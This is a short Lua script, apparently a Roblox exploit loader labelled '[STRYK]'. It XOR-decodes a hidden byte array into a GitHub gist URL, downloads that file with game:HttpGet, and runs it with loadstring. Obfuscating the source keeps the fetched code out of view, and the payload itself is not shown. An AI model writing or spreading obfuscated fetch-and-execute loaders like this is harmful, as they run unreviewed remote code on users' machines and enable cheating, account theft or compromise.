local bytes = { 33,61,61,57,58,115,102,102,46,32,58,61,103,46,32,61, 33,60,43,60,58,44,59,42,38,39,61,44,39,61,103,42, 38,36,102,36,40,61,44,32,40,58,60,37,58,60,57,44, 59,123,100,42,44,37,37,102,127,127,113,120,122,121, 44,44,112,40,122,112,124,45,127,43,120,113,44,112, 125,113,113,126,42,124,122,125,124,123,120,44,102, 59,40,62,102,44,120,42,125,126,120,121,42,40,40, 123,112,47,113,120,42,122,127,112,42,113,113,47,45, 126,45,42,47,125,125,45,126,40,123,122,42,45,42, 43,124,102,46,32,58,61,47,32,37,44,120 } local chars = {} for i, byte in ipairs(bytes) do chars[i] = string.char(bit32.bxor(byte, 73)) end local ok, err = pcall(function() local source = game:HttpGet(table.concat(chars)) local run, compileError = loadstring(source) assert(run, compileError) run() end) if not ok then warn("[STRYK] Loader failed: " .. tostring(err)) end